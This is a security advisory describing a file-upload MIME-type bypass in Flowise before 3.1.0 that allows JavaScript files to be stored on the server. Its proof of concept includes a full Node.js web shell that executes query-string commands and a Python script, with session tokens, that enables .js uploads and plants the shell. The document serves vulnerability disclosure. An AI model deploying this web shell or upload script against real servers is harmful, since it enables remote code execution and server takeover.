Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.0, the Chatflow configuration file upload settings can be modified to allow the application/javascript MIME type. This lets an attacker upload .js files even though the frontend doesn’t normally allow JavaScript uploads. This enables attackers to persistently store malicious Node.js web shells on the server, potentially leading to Remote Code Execution (RCE). This vulnerability is fixed in 3.1.0.

### Summary In FlowiseAI, the Chatflow configuration file upload settings can be modified to allow the application/javascript MIME type. This lets an attacker upload .js files even though the frontend doesn’t normally allow JavaScript uploads. This enables attackers to persistently store malicious Node.js web shells on the server, potentially leading to Remote Code Execution (RCE). ### Details This is a bypass of [GHSA‑35g6‑rrw3‑v6xc](https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-35g6-rrw3-v6xc) (CVE‑2025‑61687). The Chatflow file upload settings do not properly validate MIME types. An attacker can add the `application/javascript` MIME type when updating a Chatflow, allowing .js files to be uploaded. JavaScript files are not listed as an option for file upload types within web user interface: <img width="1162" height="440" alt="Screenshot 2026-01-08 152306" src="https://github.com/user-attachments/assets/f33f04af-877e-4aac-95a7-86d4684891de" /> ### PoC #### shell.js (Node.js Web Shell) ``` const { exec } = require('child_process'); const http = require('http'); const server = http.createServer((req, res) => { const url = new URL(req.url, 'http://localhost'); const cmd = url.searchParams.get('cmd'); if (cmd) { console.log(`Executing: ${cmd}`); exec(cmd, (error, stdout, stderr) => { res.writeHead(200, {'Content-Type': 'text/plain'}); if (error) { res.end(`Error: ${error.message}\n${stderr || ''}`); } else { res.end(stdout || 'Command executed successfully'); } }); } else { res.writeHead(200, {'Content-Type': 'text/html'}); res.end(` <h1>Node.js Web Shell</h1> <p>Use ?cmd=command to execute</p> <p>Example: ?cmd=id</p> `); } }); const PORT = 8888; server.listen(PORT, '0.0.0.0', () => { console.log(`Shell running on port ${PORT}`); console.log(`Access: http://localhost:${PORT}?cmd=id`); }); ``` #### Python Upload Script ``` import requests import uuid TARGET_URL = "http://192.168.236.131:3000" CHATFLOW_ID = "dfd67fff-23b5-4f62-a0b3-59963cabc3b2" cookie_str = 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImEzZGNlMjgyLTE1ZDUtNDYwMi04MjI2LTc1MmQzYzExYzI5NyIsInVzZXJuYW1lIjoiYWRtaW4iLCJtZXRhIjoiOTRiOGY2MTIyMzI3ZmFmODg0YzM4OGM4Y2YwZTg3ZGU6MTVkNDc4MDFjNTQ0N2Q3NDU2Mzg3OWE2N2E5YmJjNmM0M2JiYjYzNDE0Y2MzZWY2ZThkYjAzZTRhNjM3MjBiNzA5NmI3YmIwMGM3YWI3YTRmM2QzN2E2OTRiMGVmY2UzOTFiZGU3MWJiNWViZDIyN2ZhNzc0NmQ0ZjFmNTM5NTFhOGJkNjdlMzEyZjMzOTk5OWQ0ZGNkYmVmYWU3OWI4NSIsImlhdCI6MTc2Nzg1ODE2NSwibmJmIjoxNzY3ODU4MTY1LCJleHAiOjE3Njc4NjE3NjUsImF1ZCI6IkFVRElFTkNFIiwiaXNzIjoiSVNTVUVSIn0.lUtIFztKIT6Ld8cnPaPnPfm0B47yhurPJRW6JhtSwu8; refreshToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImEzZGNlMjgyLTE1ZDUtNDYwMi04MjI2LTc1MmQzYzExYzI5NyIsInVzZXJuYW1lIjoiYWRtaW4iLCJtZXRhIjoiOThmZGE5YWE2MDZhYTA3YTMxYjZlYzhjZTkyMmZkMDA6ZTU2ZTczMTEwYjY3ZDE3ZTM3MjViZWI2YzMyYWYzNTNkOWExNzIzZWU0NzdiN2ZiMDQ1N2Q0M2JmZTY0NTIxZTlkNjM2ZWQwODgxNWJiNzU4Mjg2ZDQ3OGMwNTA3NTRkZTgwMWIwODljNDQ5YjhhZjVkODU2YWFiMzk4NTBjNjNlZjRmY2UzMmY4YWYzZmQxNGQzMmVhYzVhYjVmM2NjZCIsImlhdCI6MTc2Nzg1MzU4NSwibmJmIjoxNzY3ODUzNTg1LCJleHAiOjE3NzU2Mjk1ODUsImF1ZCI6IkFVRElFTkNFIiwiaXNzIjoiSVNTVUVSIn0.U3mm0ONOeGFP1gD-mPT90Iz_Ewwf-YXzmTPwoOEHG_g; connect.sid=s%3Avwp7SDKi02Mzu_nTF3-IZ-RfgmMnnp5o.K7kb5eg9CJ%2FuxupG4rJrT6I0fu0H93OTd5trNC0u88Y' js_mime_type = 'application/javascript' CHAT_ID = str(uuid.uuid4()) def configure_chatflow_uploadfile(): url = f"{TARGET_URL}/api/v1/chatflows/{CHATFLOW_ID}" headers = {'Cookie': cookie_str, 'x-request-from': 'internal'} chatbot_configdata = {"chatbotConfig":'{\"fullFileUpload\":{\"status\":true,\"allowedUploadFileTypes\":\"' + js_mime_type + ',text/css,text/csv,text/html,application/json,text/markdown,application/x-yaml,application/pdf,application/sql,text/plain,application/xml,application/msword,application/vnd.openxmlformats-officedocument.wordprocessingml.document,application/vnd.openxmlformats-officedocument.spreadsheetml.sheet,application/vnd.openxmlformats-officedocument.presentationml.presentation\",\"pdfFile\":{\"usage\":\"perPage\",\"legacyBuild\":false}}}'} r = requests.put(url, headers=headers, json = chatbot_configdata) if js_mime_type in r.text: print("[+] Enabled .js file uploads") else: print("[-] Failed to enable .js file uploads") def upload_shell(): url = f"{TARGET_URL}/api/v1/attachments/{CHATFLOW_ID}/{CHAT_ID}" headers = {'Cookie': cookie_str} files = {'files': ('shell.js', open('shell.js', 'rb'), 'application/javascript')} r = requests.post(url, headers=headers, files=files) if r.status_code == 200: print("[+] Upload success") print(r.text) else: print(f"[-] Upload failed ({r.status_code})") print(r.text) if __name__ == "__main__": configure_chatflow_uploadfile() upload_shell() ``` <img width="839" height="231" alt="image" src="https://github.com/user-attachments/assets/0d2e8384-8da6-4ada-a81a-a85c49476673" /> ### Impact An attacker can persistently upload and store malicious web shells on the server. If executed, this leads to Remote Code Execution (RCE). The risk increases if administrators unknowingly trigger the shell or if other vulnerabilities are chained to execute the file. This presents a high-severity threat to system integrity and confidentiality.
